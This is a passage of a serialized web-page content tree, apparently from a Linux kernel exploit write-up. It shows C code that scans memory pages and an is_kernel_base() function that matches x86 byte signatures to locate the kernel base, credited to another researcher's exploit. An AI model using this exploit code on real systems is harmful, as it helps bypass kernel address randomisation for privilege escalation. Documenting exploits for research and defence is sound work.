j",{"type":23,"tag":134,"props":58244,"children":58245},{"style":168},[58246],{"type":28,"value":50775},{"type":23,"tag":134,"props":58248,"children":58249},{"style":179},[58250],{"type":28,"value":329},{"type":23,"tag":134,"props":58252,"children":58253},{"class":136,"line":827},[58254],{"type":23,"tag":134,"props":58255,"children":58256},{"style":179},[58257],{"type":28,"value":31154},{"type":23,"tag":134,"props":58259,"children":58260},{"class":136,"line":836},[58261,58266,58270,58274,58279,58283],{"type":23,"tag":134,"props":58262,"children":58263},{"style":264},[58264],{"type":28,"value":58265},"            memset",{"type":23,"tag":134,"props":58267,"children":58268},{"style":179},[58269],{"type":28,"value":272},{"type":23,"tag":134,"props":58271,"children":58272},{"style":168},[58273],{"type":28,"value":277},{"type":23,"tag":134,"props":58275,"children":58276},{"style":179},[58277],{"type":28,"value":58278},"data, ",{"type":23,"tag":134,"props":58280,"children":58281},{"style":205},[58282],{"type":28,"value":1224},{"type":23,"tag":134,"props":58284,"children":58285},{"style":179},[58286],{"type":28,"value":58287},", PAGE_SIZE);\n",{"type":23,"tag":134,"props":58289,"children":58290},{"class":136,"line":859},[58291,58296],{"type":23,"tag":134,"props":58292,"children":58293},{"style":151},[58294],{"type":28,"value":58295},"            int",{"type":23,"tag":134,"props":58297,"children":58298},{"style":179},[58299],{"type":28,"value":58300}," count;\n",{"type":23,"tag":134,"props":58302,"children":58303},{"class":136,"line":868},[58304,58309,58314,58318,58323,58327,58332,58337,58341,58345,58349,58354,58358,58362],{"type":23,"tag":134,"props":58305,"children":58306},{"style":189},[58307],{"type":28,"value":58308},"            if",{"type":23,"tag":134,"props":58310,"children":58311},{"style":179},[58312],{"type":28,"value":58313}," (count ",{"type":23,"tag":134,"props":58315,"children":58316},{"style":168},[58317],{"type":28,"value":257},{"type":23,"tag":134,"props":58319,"children":58320},{"style":264},[58321],{"type":28,"value":58322}," read",{"type":23,"tag":134,"props":58324,"children":58325},{"style":179},[58326],{"type":28,"value":272},{"type":23,"tag":134,"props":58328,"children":58329},{"style":162},[58330],{"type":28,"value":58331},"pfd",{"type":23,"tag":134,"props":58333,"children":58334},{"style":179},[58335],{"type":28,"value":58336},"[j][",{"type":23,"tag":134,"props":58338,"children":58339},{"style":205},[58340],{"type":28,"value":1224},{"type":23,"tag":134,"props":58342,"children":58343},{"style":179},[58344],{"type":28,"value":22539},{"type":23,"tag":134,"props":58346,"children":58347},{"style":168},[58348],{"type":28,"value":277},{"type":23,"tag":134,"props":58350,"children":58351},{"style":179},[58352],{"type":28,"value":58353},"data, PAGE_SIZE) ",{"type":23,"tag":134,"props":58355,"children":58356},{"style":168},[58357],{"type":28,"value":5262},{"type":23,"tag":134,"props":58359,"children":58360},{"style":205},[58361],{"type":28,"value":208},{"type":23,"tag":134,"props":58363,"children":58364},{"style":179},[58365],{"type":28,"value":329},{"type":23,"tag":134,"props":58367,"children":58368},{"class":136,"line":877},[58369],{"type":23,"tag":134,"props":58370,"children":58371},{"style":179},[58372],{"type":28,"value":31190},{"type":23,"tag":134,"props":58374,"children":58375},{"class":136,"line":946},[58376,58381],{"type":23,"tag":134,"props":58377,"children":58378},{"style":189},[58379],{"type":28,"value":58380},"                continue",{"type":23,"tag":134,"props":58382,"children":58383},{"style":179},[58384],{"type":28,"value":182},{"type":23,"tag":134,"props":58386,"children":58387},{"class":136,"line":954},[58388],{"type":23,"tag":134,"props":58389,"children":58390},{"style":179},[58391],{"type":28,"value":58392},"            }\n",{"type":23,"tag":134,"props":58394,"children":58395},{"class":136,"line":984},[58396],{"type":23,"tag":134,"props":58397,"children":58398},{"style":179},[58399],{"type":28,"value":9783},{"type":23,"tag":134,"props":58401,"children":58402},{"class":136,"line":992},[58403],{"type":23,"tag":134,"props":58404,"children":58405},{"emptyLinePlaceholder":15},[58406],{"type":28,"value":865},{"type":23,"tag":134,"props":58408,"children":58409},{"class":136,"line":1024},[58410,58415,58420,58424,58428],{"type":23,"tag":134,"props":58411,"children":58412},{"style":179},[58413],{"type":28,"value":58414},"            if (",{"type":23,"tag":134,"props":58416,"children":58417},{"style":597},[58418],{"type":28,"value":58419},"is_kernel_base",{"type":23,"tag":134,"props":58421,"children":58422},{"style":179},[58423],{"type":28,"value":272},{"type":23,"tag":134,"props":58425,"children":58426},{"style":597},[58427],{"type":28,"value":892},{"type":23,"tag":134,"props":58429,"children":58430},{"style":179},[58431],{"type":28,"value":58432},")) // [1] identify kernel base\n",{"type":23,"tag":134,"props":58434,"children":58435},{"class":136,"line":1032},[58436],{"type":23,"tag":134,"props":58437,"children":58438},{"style":179},[58439],{"type":28,"value":31190},{"type":23,"tag":134,"props":58441,"children":58442},{"class":136,"line":1092},[58443,58448,58452,58456],{"type":23,"tag":134,"props":58444,"children":58445},{"style":179},[58446],{"type":28,"value":58447},"                found ",{"type":23,"tag":134,"props":58449,"children":58450},{"style":168},[58451],{"type":28,"value":257},{"type":23,"tag":134,"props":58453,"children":58454},{"style":151},[58455],{"type":28,"value":11936},{"type":23,"tag":134,"props":58457,"children":58458},{"style":179},[58459],{"type":28,"value":182},{"type":23,"tag":134,"props":58461,"children":58462},{"class":136,"line":8508},[58463,58468],{"type":23,"tag":134,"props":58464,"children":58465},{"style":189},[58466],{"type":28,"value":58467},"                break",{"type":23,"tag":134,"props":58469,"children":58470},{"style":179},[58471],{"type":28,"value":182},{"type":23,"tag":134,"props":58473,"children":58474},{"class":136,"line":8526},[58475],{"type":23,"tag":134,"props":58476,"children":58477},{"style":179},[58478],{"type":28,"value":58392},{"type":23,"tag":134,"props":58480,"children":58481},{"class":136,"line":8571},[58482],{"type":23,"tag":134,"props":58483,"children":58484},{"style":179},[58485],{"type":28,"value":524},{"type":23,"tag":134,"props":58487,"children":58488},{"class":136,"line":8677},[58489],{"type":23,"tag":134,"props":58490,"children":58491},{"emptyLinePlaceholder":15},[58492],{"type":28,"value":865},{"type":23,"tag":134,"props":58494,"children":58495},{"class":136,"line":22988},[58496],{"type":23,"tag":134,"props":58497,"children":58498},{"style":179},[58499],{"type":28,"value":9783},{"type":23,"tag":24,"props":58501,"children":58502},{},[58503,58505,58509,58511,58517,58519,58523],{"type":28,"value":58504},"Notice that at ",{"type":23,"tag":134,"props":58506,"children":58507},{},[58508],{"type":28,"value":1214},{"type":28,"value":58510}," we call the ",{"type":23,"tag":92,"props":58512,"children":58514},{"className":58513},[],[58515],{"type":28,"value":58516},"is_kernel_base()",{"type":28,"value":58518}," function. This is a function based on lau's exploit ",{"type":23,"tag":134,"props":58520,"children":58521},{},[58522],{"type":28,"value":17582},{"type":28,"value":58524}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":23,"tag":87,"props":58526,"children":58528},{"className":28603,"code":58527,"language":28605,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[58529],{"type":23,"tag":92,"props":58530,"children":58531},{"__ignoreMap":7},[58532,58539,58569,58576,58584,58591,58599,58670,58732,58747,58754,58762,58830,58892,58953,59014,59076,59138,59199,59260,59321,59382,59443,59458,59465,59480,59487],{"type":23,"tag":134,"props":58533,"children":58534},{"class":136,"line":137},[58535],{"type":23,"tag":134,"props":58536,"children":58537},{"style":179},[58538],{"type":28,"value":9783},{"type":23,"tag":134,"props":58540,"children":58541},{"class":136,"line":147},[58542,58547,58552,58557,58561,58565],{"type":23,"tag":134,"props":58543,"children":58544},{"style":179},[58545],{"type":28,"value":58546},"static bool is_kernel_base(",{"type":23,"tag":134,"props":58548,"children":58549},{"style":151},[58550],{"type":28,"value":58551},"unsigned",{"type":23,"tag":134,"props":58553,"children":58554},{"style":151},[58555],{"type":28,"value":58556}," char",{"type":23,"tag":134,"props":58558,"children":58559},{"style":151},[58560],{"type":28,"value":9281},{"type":23,"tag":134,"props":58562,"children":58563},{"style":162},[58564],{"type":28,"value":30181},{"type":23,"tag":134,"props":58566,"children":58567},{"style":179},[58568],{"type":28,"value":329},{"type":23,"tag":134,"props":58570,"children":58571},{"class":136,"line":185},[58572],{"type":23,"tag":134,"props":58573,"children":58574},{"style":179},[58575],{"type":28,"value":10346},{"type":23,"tag":134,"props":58577,"children":58578},{"class":136,"line":221},[58579],{"type":23,"tag":134,"props":58580,"children":58581},{"style":141},[58582],{"type":28,"value":58583},"    // thanks lau :)\n",{"type":23,"tag":134,"props":58585,"children":58586},{"class":136,"line":332},[58587],{"type":23,"tag":134,"props":58588,"children":58589},{"emptyLinePlaceholder":15},[58590],{"type":28,"value":865},{"type":23,"tag":134,"props":58592,"children":58593},{"class":136,"line":438},[58594],{"type":23,"tag":134,"props":58595,"children":58596},{"style":141},[58597],{"type":28,"value":58598},"    // get-sig kernel_runtime_1\n",{"type":23,"tag":134,"props":58600,"children":58601},{"class":136,"line":466},[58602,58606,58610,58615,58620,58624,58629,58633,58637,58642,58646,58650,58654,58658,58662,58666],{"type":23,"tag":134,"props":58603,"children":58604},{"style":189},[58605],{"type":28,"value":11746},{"type":23,"tag":134,"props":58607,"children":58608},{"style":179},[58609],{"type":28,"value":232},{"type":23,"tag":134,"props":58611,"children":58612},{"style":264},[58613],{"type":28,"value":58614},"memcmp",{"type":23,"tag":134,"props":58616,"children":58617},{"style":179},[58618],{"type":28,"value":58619},"(addr ",{"type":23,"tag":134,"props":58621,"children":58622},{"style":168},[58623],{"type":28,"value":1586},{"type":23,"tag":134,"props":58625,"children":58626},{"style":205},[58627],{"type":28,"value":58628}," 0x0",{"type":23,"tag":134,"props":58630,"children":58631},{"style":179},[58632],{"type":28,"value":242},{"type":23,"tag":134,"props":58634,"children":58635},{"style":1461},[58636],{"type":28,"value":19537},{"type":23,"tag":134,"props":58638,"children":58639},{"style":47878},[58640],{"type":28,"value":58641},"\\x48\\x8d\\x25\\x51\\x3f",{"type":23,"tag":134,"props":58643,"children":58644},{"style":1461},[58645],{"type":28,"value":19537},{"type":23,"tag":134,"props":58647,"children":58648},{"style":179},[58649],{"type":28,"value":242},{"type":23,"tag":134,"props":58651,"children":58652},{"style":205},[58653],{"type":28,"value":17582},{"type":23,"tag":134,"props":58655,"children":58656},{"style":179},[58657],{"type":28,"value":252},{"type":23,"tag":134,"props":58659,"children":58660},{"style":168},[58661],{"type":28,"value":8035},{"type":23,"tag":134,"props":58663,"children":58664},{"style":205},[58665],{"type":28,"value":208},{"type":23,"tag":134,"props":58667,"children":58668},{"style":168},[58669],{"type":28,"value":52190},{"type":23,"tag":134,"props":58671,"children":58672},{"class":136,"line":479},[58673,58678,58682,58686,58691,58695,58699,58704,58708,58712,58716,58720,58724,58728],{"type":23,"tag":134,"props":58674,"children":58675},{"style":264},[58676],{"type":28,"value":58677},"        memcmp",{"type":23,"tag":134,"props":58679,"children":58680},{"style":179},[58681],{"type":28,"value":58619},{"type":23,"tag":134,"props":58683,"children":58684},{"style":168},[58685],{"type":28,"value":1586},{"type":23,"tag":134,"props":58687,"children":58688},{"style":205},[58689],{"type":28,"value":58690}," 0x7",{"type":23,"tag":134,"props":58692,"children":58693},{"style":179},[58694],{"type":28,"value":242},{"type":23,"tag":134,"props":58696,"children":58697},{"style":1461},[58698],{"type":28,"value":19537},{"type":23,"tag":134,"props":58700,"children":58701},{"style":47878},[58702],{"type":28,"value":58703},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":23,"tag":134,"props":58705,"children":58706},{"style":1461},[58707],{"type":28,"value":19537},{"type":23,"tag":134,"props":58709,"children":58710},{"style":179},[58711],{"type":28,"value":242},{"type":23,"tag":134,"props":58713,"children":58714},{"style":205},[58715],{"type":28,"value":54177},{"type":23,"tag":134,"props":58717,"children":58718},{"style":179},[58719],{"type":28,"value":252},{"type":23,"tag":134,"props":58721,"children":58722},{"style":168},[58723],{"type":28,"value":8035},{"type":23,"tag":134,"props":58725,"children":58726},{"style":205},[58727],{"type":28,"value":208},{"type":23,"tag":134,"props":58729,"children":58730},{"style":179},[58731],{"type":28,"value":329},{"type":23,"tag":134,"props":58733,"children":58734},{"class":136,"line":497},[58735,58739,58743],{"type":23,"tag":134,"props":58736,"children":58737},{"style":189},[58738],{"type":28,"value":15214},{"type":23,"tag":134,"props":58740,"children":58741},{"style":151},[58742],{"type":28,"value":11936},{"type":23,"tag":134,"props":58744,"children":58745},{"style":179},[58746],{"type":28,"value":182},{"type":23,"tag":134,"props":58748,"children":58749},{"class":136,"line":518},[58750],{"type":23,"tag":134,"props":58751,"children":58752},{"emptyLinePlaceholder":15},[58753],{"type":28,"value":865},{"type":23,"tag":134,"props":58755,"children":58756},{"class":136,"line":527},[58757],{"type":23,"tag":134,"props":58758,"children":58759},{"style":141},[58760],{"type":28,"value":58761},"    // get-sig kernel_runtime_2\n",{"type":23,"tag":134,"props":58763,"children":58764},{"class":136,"line":780},[58765,58769,58773,58777,58781,58785,58789,58793,58797,58802,58806,58810,58814,58818,58822,58826],{"type":23,"tag":134,"props":58766,"children":58767},{"style":189},[58768],{"type":28,"value":11746},{"type":23,"tag":134,"props":58770,"children":58771},{"style":179},[58772],{"type":28,"value":232},{"type":23,"tag":134,"props":58774,"children":58775},{"style":264},[58776],{"type":28,"value":58614},{"type":23,"tag":134,"props":58778,"children":58779},{"style":179},[58780],{"type":28,"value":58619},{"type":23,"tag":134,"props":58782,"children":58783},{"style":168},[58784],{"type":28,"value":1586},{"type":23,"tag":134,"props":58786,"children":58787},{"style":205},[58788],{"type":28,"value":58628},{"type":23,"tag":134,"props":58790,"children":58791},{"style":179},[58792],{"type":28,"value":242},{"type":23,"tag":134,"props":58794,"children":58795},{"style":1461},[58796],{"type":28,"value":19537},{"type":23,"tag":134,"props":58798,"children":58799},{"style":47878},[58800],{"type":28,"value":58801},"\\xfc\\x0f\\x01\\x15",{"type":23,"tag":134,"props":58803,"children":58804},{"style":1461},[58805],{"type":28,"value":19537},{"type":23,"tag":134,"props":58807,"children":58808},{"style":179},[58809],{"type":28,"value":242},{"type":23,"tag":134,"props":58811,"children":58812},{"style":205},[58813],{"type":28,"value":17001},{"type":23,"tag":134,"props":58815,"children":58816},{"style":179},[58817],{"type":28,"value":252},{"type":23,"tag":134,"props":58819,"children":58820},{"style":168},[58821],{"type":28,"value":8035},{"type":23,"tag":134,"props":58823,"children":58824},{"style":205},[58825],{"type":28,"value":208},{"type":23,"tag":134,"props":58827,"children":58828},{"style":168},[58829],{"type":28,"value":52190},{"type":23,"tag":134,"props":58831,"children":58832},{"class":136,"line":797},[58833,58837,58841,58845,58850,58854,58858,58863,58867,58871,58876,58880,58884,58888],{"type":23,"tag":134,"props":58834,"children":58835},{"style":264},[58836],{"type":28,"value":58677},{"type":23,"tag":134,"props":58838,"children":58839},{"style":179},[58840],{"type":28,"value":58619},{"type":23,"tag":134,"props":58842,"children":58843},{"style":168},[58844],{"type":28,"value":1586},{"type":23,"tag":134,"props":58846,"children":58847},{"style":205},[58848],{"type":28,"value":58849}," 0x8",{"type":23,"tag":134,"props":58851,"children":58852},{"style":179},[58853],{"type":28,"value":242},{"type":23,"tag":134,"props":58855,"children":58856},{"style":1461},[58857],{"type":28,"value":19537},{"type":23,"tag":134,"props":58859,"children":58860},{"style":47878},[58861],{"type":28,"value":58862},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":23,"tag":134,"props":58864,"children":58865},{"style":1461},[58866],{"type":28,"value":19537},{"type":23,"tag":134,"props":58868,"children":58869},{"style":179},[58870],{"type":28,"value":242},{"type":23,"tag":134,"props":58872,"children":58873},{"style":205},[58874],{"type":28,"value":58875},"12",{"type":23,"tag":134,"props":58877,"children":58878},{"style":179},[58879],{"type":28,"value":252},{"type":23,"tag":134,"props":58881,"children":58882},{"style":168},[58883],{"type":28,"value":8035},{"type":23,"tag":134,"props":58885,"children":58886},{"style":205},[58887],{"type":28,"value":208},{"type":23,"tag":134,"props":58889,"children":58890},{"style":168},[58891],{"type":28,"value":52190},{"type":23,"tag":134,"props":58893,"children":58894},{"class":136,"line":814},[58895,58899,58903,58907,58912,58916,58920,58925,58929,58933,58937,58941,58945,58949],{"type":23,"tag":134,"props":58896,"children":58897},{"style":264},[58898],{"type":28,"value":58677},{"type":23,"tag":134,"props":58900,"children":58901},{"style":179},[58902],{"type":28,"value":58619},{"type":23,"tag":134,"props":58904,"children":58905},{"style":168},[58906],{"type":28,"value":1586},{"type":23,"tag":134,"props":58908,"children":58909},{"style":205},[58910],{"type":28,"value":58911}," 0x18",{"type":23,"tag":134,"props":58913,"children":58914},{"style":179},[58915],{"type":28,"value":242},{"type":23,"tag":134,"props":58917,"children":58918},{"style":1461},[58919],{"type":28,"value":19537},{"type":23,"tag":134,"props":58921,"children":58922},{"style":47878},[58923],{"type":28,"value":58924},"\\x89\\xde\\x8b\\x0d",{"type":23,"tag":134,"props":58926,"children":58927},{"style":1461},[58928],{"type":28,"value":19537},{"type":23,"tag":134,"props":58930,"children":58931},{"style":179},[58932],{"type":28,"value":242},{"type":23,"tag":134,"props":58934,"children":58935},{"style":205},[58936],{"type":28,"value":17001},{"type":23,"tag":134,"props":58938,"children":58939},{"style":179},[58940],{"type":28,"value":252},{"type":23,"tag":134,"props":58942,"children":58943},{"style":168},[58944],{"type":28,"value":8035},{"type":23,"tag":134,"props":58946,"children":58947},{"style":205},[58948],{"type":28,"value":208},{"type":23,"tag":134,"props":58950,"children":58951},{"style":168},[58952],{"type":28,"value":52190},{"type":23,"tag":134,"props":58954,"children":58955},{"class":136,"line":827},[58956,58960,58964,58968,58973,58977,58981,58986,58990,58994,58998,59002,59006,59010],{"type":23,"tag":134,"props":58957,"children":58958},{"style":264},[58959],{"type":28,"value":58677},{"type":23,"tag":134,"props":58961,"children":58962},{"style":179},[58963],{"type":28,"value":58619},{"type":23,"tag":134,"props":58965,"children":58966},{"style":168},[58967],{"type":28,"value":1586},{"type":23,"tag":134,"props":58969,"children":58970},{"style":205},[58971],{"type":28,"value":58972}," 0x20",{"type":23,"tag":134,"props":58974,"children":58975},{"style":179},[58976],{"type":28,"value":242},{"type":23,"tag":134,"props":58978,"children":58979},{"style":1461},[58980],{"type":28,"value":19537},{"type":23,"tag":134,"props":58982,"children":58983},{"style":47878},[58984],{"type":28,"value":58985},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":23,"tag":134,"props":58987,"children":58988},{"style":1461},[58989],{"type":28,"value":19537},{"type":23,"tag":134,"props":58991,"children":58992},{"style":179},[58993],{"type":28,"value":242},{"type":23,"tag":134,"props":58995,"children":58996},{"style":205},[58997],{"type":28,"value":17894},{"type":23,"tag":134,"props":58999,"children":59000},{"style":179},[59001],{"type":28,"value":252},{"type":23,"tag":134,"props":59003,"children":59004},{"style":168},[59005],{"type":28,"value":8035},{"type":23,"tag":134,"props":59007,"children":59008},{"style":205},[59009],{"type":28,"value":208},{"type":23,"tag":134,"props":59011,"children":59012},{"style":168},[59013],{"type":28,"value":52190},{"type":23,"tag":134,"props":59015,"children":59016},{"class":136,"line":836},[59017,59021,59025,59029,59034,59038,59042,59047,59051,59055,59060,59064,59068,59072],{"type":23,"tag":134,"props":59018,"children":59019},{"style":264},[59020],{"type":28,"value":58677},{"type":23,"tag":134,"props":59022,"children":59023},{"style":179},[59024],{"type":28,"value":58619},{"type":23,"tag":134,"props":59026,"children":59027},{"style":168},[59028],{"type":28,"value":1586},{"type":23,"tag":134,"props":59030,"children":59031},{"style":205},[59032],{"type":28,"value":59033}," 0x2a",{"type":23,"tag":134,"props":59035,"children":59036},{"style":179},[59037],{"type":28,"value":242},{"type":23,"tag":134,"props":59039,"children":59040},{"style":1461},[59041],{"type":28,"value":19537},{"type":23,"tag":134,"props":59043,"children":59044},{"style":47878},[59045],{"type":28,"value":59046},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":23,"tag":134,"props":59048,"children":59049},{"style":1461},[59050],{"type":28,"value":19537},{"type":23,"tag":134,"props":59052,"children":59053},{"style":179},[59054],{"type":28,"value":242},{"type":23,"tag":134,"props":59056,"children":59057},{"style":205},[59058],{"type":28,"value":59059},"24",{"type":23,"tag":134,"props":59061,"children":59062},{"style":179},[59063],{"type":28,"value":252},{"type":23,"tag":134,"props":59065,"children":59066},{"style":168},[59067],{"type":28,"value":8035},{"type":23,"tag":134,"props":59069,"children":59070},{"style":205},[59071],{"type":28,"value":208},{"type":23,"tag":134,"props":59073,"children":59074},{"style":168},[59075],{"type":28,"value":52190},{"type":23,"tag":134,"props":59077,"children":59078},{"class":136,"line":859},[59079,59083,59087,59091,59096,59100,59104,59109,59113,59117,59122,59126,59130,59134],{"type":23,"tag":134,"props":59080,"children":59081},{"style":264},[59082],{"type":28,"value":58677},{"type":23,"tag":134,"props":59084,"children":59085},{"style":179},[59086],{"type":28,"value":58619},{"type":23,"tag":134,"props":59088,"children":59089},{"style":168},[59090],{"type":28,"value":1586},{"type":23,"tag":134,"props":59092,"children":59093},{"style":205},[59094],{"type":28,"value":59095}," 0x45",{"type":23,"tag":134,"props":59097,"children":59098},{"style":179},[59099],{"type":28,"value":242},{"type":23,"tag":134,"props":59101,"children":59102},{"style":1461},[59103],{"type":28,"value":19537},{"type":23,"tag":134,"props":59105,"children":59106},{"style":47878},[59107],{"type":28,"value":59108},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":23,"tag":134,"props":59110,"children":59111},{"style":1461},[59112],{"type":28,"value":19537},{"type":23,"tag":134,"props":59114,"children":59115},{"style":179},[59116],{"type":28,"value":242},{"type":23,"tag":134,"props":59118,"children":59119},{"style":205},[59120],{"type":28,"value":59121},"15",{"type":23,"tag":134,"props":59123,"children":59124},{"style":179},[59125],{"type":28,"value":252},{"type":23,"tag":134,"props":59127,"children":59128},{"style":168},[59129],{"type":28,"value":8035},{"type":23,"tag":134,"props":59131,"children":59132},{"style":205},[59133],{"type":28,"value":208},{"type":23,"tag":134,"props":59135,"children":59136},{"style":168},[59137],{"type":28,"value":52190},{"type":23,"tag":134,"props":59139,"children":59140},{"class":136,"line":868},[59141,59145,59149,59153,59158,59162,59166,59171,59175,59179,59183,59187,59191,59195],{"type":23,"tag":134,"props":59142,"children":59143},{"style":264},[59144],{"type":28,"value":58677},{"type":23,"tag":134,"props":59146,"children":59147},{"style":179},[59148],{"type":28,"value":58619},{"type":23,"tag":134,"props":59150,"children":59151},{"style":168},[59152],{"type":28,"value":1586},{"type":23,"tag":134,"props":59154,"children":59155},{"style":205},[59156],{"type":28,"value":59157}," 0x55",{"type":23,"tag":134,"props":59159,"children":59160},{"style":179},[59161],{"type":28,"value":242},{"type":23,"tag":134,"props":59163,"children":59164},{"style":1461},[59165],{"type":28,"value":19537},{"type":23,"tag":134,"props":59167,"children":59168},{"style":47878},[59169],{"type":28,"value":59170},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":23,"tag":134,"props":59172,"children":59173},{"style":1461},[59174],{"type":28,"value":19537},{"type":23,"tag":134,"props":59176,"children":59177},{"style":179},[59178],{"type":28,"value":242},{"type":23,"tag":134,"props":59180,"children":59181},{"style":205},[59182],{"type":28,"value":1278},{"type":23,"tag":134,"props":59184,"children":59185},{"style":179},[59186],{"type":28,"value":252},{"type":23,"tag":134,"props":59188,"children":59189},{"style":168},[59190],{"type":28,"value":8035},{"type":23,"tag":134,"props":59192,"children":59193},{"style":205},[59194],{"type":28,"value":208},{"type":23,"tag":134,"props":59196,"children":59197},{"style":168},[59198],{"type":28,"value":52190},{"type":23,"tag":134,"props":59200,"children":59201},{"class":136,"line":877},[59202,59206,59210,59214,59219,59223,59227,59232,59236,59240,59244,59248,59252,59256],{"type":23,"tag":134,"props":59203,"children":59204},{"style":264},[59205],{"type":28,"value":58677},{"type":23,"tag":134,"props":59207,"children":59208},{"style":179},[59209],{"type":28,"value":58619},{"type":23,"tag":134,"props":59211,"children":59212},{"style":168},[59213],{"type":28,"value":1586},{"type":23,"tag":134,"props":59215,"children":59216},{"style":205},[59217],{"type":28,"value":59218}," 0x61",{"type":23,"tag":134,"props":59220,"children":59221},{"style":179},[59222],{"type":28,"value":242},{"type":23,"tag":134,"props":59224,"children":59225},{"style":1461},[59226],{"type":28,"value":19537},{"type":23,"tag":134,"props":59228,"children":59229},{"style":47878},[59230],{"type":28,"value":59231},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":23,"tag":134,"props":59233,"children":59234},{"style":1461},[59235],{"type":28,"value":19537},{"type":23,"tag":134,"props":59237,"children":59238},{"style":179},[59239],{"type":28,"value":242},{"type":23,"tag":134,"props":59241,"children":59242},{"style":205},[59243],{"type":28,"value":17582},{"type":23,"tag":134,"props":59245,"children":59246},{"style":179},[59247],{"type":28,"value":252},{"type":23,"tag":134,"props":59249,"children":59250},{"style":168},[59251],{"type":28,"value":8035},{"type":23,"tag":134,"props":59253,"children":59254},{"style":205},[59255],{"type":28,"value":208},{"type":23,"tag":134,"props":59257,"children":59258},{"style":168},[59259],{"type":28,"value":52190},{"type":23,"tag":134,"props":59261,"children":59262},{"class":136,"line":946},[59263,59267,59271,59275,59280,59284,59288,59293,59297,59301,59305,59309,59313,59317],{"type":23,"tag":134,"props":59264,"children":59265},{"style":264},[59266],{"type":28,"value":58677},{"type":23,"tag":134,"props":59268,"children":59269},{"style":179},[59270],{"type":28,"value":58619},{"type":23,"tag":134,"props":59272,"children":59273},{"style":168},[59274],{"type":28,"value":1586},{"type":23,"tag":134,"props":59276,"children":59277},{"style":205},[59278],{"type":28,"value":59279}," 0x6a",{"type":23,"tag":134,"props":59281,"children":59282},{"style":179},[59283],{"type":28,"value":242},{"type":23,"tag":134,"props":59285,"children":59286},{"style":1461},[59287],{"type":28,"value":19537},{"type":23,"tag":134,"props":59289,"children":59290},{"style":47878},[59291],{"type":28,"value":59292},"\\x48\\xc7\\xc6",{"type":23,"tag":134,"props":59294,"children":59295},{"style":1461},[59296],{"type":28,"value":19537},{"type":23,"tag":134,"props":59298,"children":59299},{"style":179},[59300],{"type":28,"value":242},{"type":23,"tag":134,"props":59302,"children":59303},{"style":205},[59304],{"type":28,"value":16768},{"type":23,"tag":134,"props":59306,"children":59307},{"style":179},[59308],{"type":28,"value":252},{"type":23,"tag":134,"props":59310,"children":59311},{"style":168},[59312],{"type":28,"value":8035},{"type":23,"tag":134,"props":59314,"children":59315},{"style":205},[59316],{"type":28,"value":208},{"type":23,"tag":134,"props":59318,"children":59319},{"style":168},[59320],{"type":28,"value":52190},{"type":23,"tag":134,"props":59322,"children":59323},{"class":136,"line":954},[59324,59328,59332,59336,59341,59345,59349,59354,59358,59362,59366,59370,59374,59378],{"type":23,"tag":134,"props":59325,"children":59326},{"style":264},[59327],{"type":28,"value":58677},{"type":23,"tag":134,"props":59329,"children":59330},{"style":179},[59331],{"type":28,"value":58619},{"type":23,"tag":134,"props":59333,"children":59334},{"style":168},[59335],{"type":28,"value":1586},{"type":23,"tag":134,"props":59337,"children":59338},{"style":205},[59339],{"type":28,"value":59340}," 